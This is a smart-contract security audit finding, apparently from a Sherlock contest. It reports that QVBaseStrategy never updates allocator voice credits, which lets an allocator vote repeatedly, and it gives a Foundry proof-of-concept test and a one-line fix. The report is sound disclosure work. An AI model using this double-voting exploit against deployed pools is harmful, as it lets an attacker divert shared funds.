Faithful Carrot Okapi

high

# Double voting issue in QV Strategy
In `_qv_allocate` function of `QVBaseStrategy` contract `allocator.voiceCredits` are not being incremented after allocator uses some of his `voiceCredits` to vote a recipient. Using this a malicious allocator can assign all the `poolAmount` to a single recipient.


## Vulnerability Detail

1. In the `QVSimpleStrategy`, allocators are intended to be limited to using a maximum of `maxVoiceCreditsPerAllocator` voice credits.
2. This restriction is implemented in the `_allocate` function with the following line:
      ```solidity
       if (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();
      ```
3. However `allocator.voiceCredits` value is not updated after the allocator uses some credits to vote for a recipient.


## Impact

So a malicious allocator can use an unlimited amount of `voiceCredits` to allocate the entire `poolAmount` to a single recipient.

## Proof of concept
Include this test in `QVSimpleStrategy.t.sol`.
```solidity
 function test_double_voting_issue() public {
        address recipientId = __register_accept_recipient();
        address allocator = randomAddress();

        vm.startPrank(pool_manager2());
        qvSimpleStrategy().addAllocator(allocator);

        vm.warp(allocationStartTime + 10);

        uint MAX_ALLOCATIONS = qvSimpleStrategy().maxVoiceCreditsPerAllocator();

        bytes memory allocateData = __generateAllocation(recipientId, MAX_ALLOCATIONS);

        uint256 usedVoiceCreditsBefore = qvSimpleStrategy().allocators(allocator);
        assertEq(usedVoiceCreditsBefore, 0);

        vm.startPrank(address(allo()));
                // user was able to allocate maxVoiceCreditsPerAllocator twice
        qvSimpleStrategy().allocate(allocateData, allocator);
        qvSimpleStrategy().allocate(allocateData, allocator);

        uint256 usedVoiceCreditsAfter = qvSimpleStrategy().allocators(allocator);
                // usedVoiceCredits is same before and after calling allocate, not incremented
        assertEq(usedVoiceCreditsAfter, usedVoiceCreditsBefore);
    }
```


## Code Snippet

[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L121)

[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)

## Tool used
Manual Review

## Recommendation
```diff
diff --git a/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol b/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol
index 24a99d4..599cebd 100644
--- a/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol
+++ b/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol
@@ -528,6 +528,7 @@ abstract contract QVBaseStrategy is BaseStrategy {
 
         _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;
         _allocator.votesCastToRecipient[_recipientId] += voteResult;
+        _allocator.voiceCredits +=  _voiceCreditsToAllocate;
 
         // emit the event with the vote results
         emit Allocated(_recipientId, voteResult, _sender);
```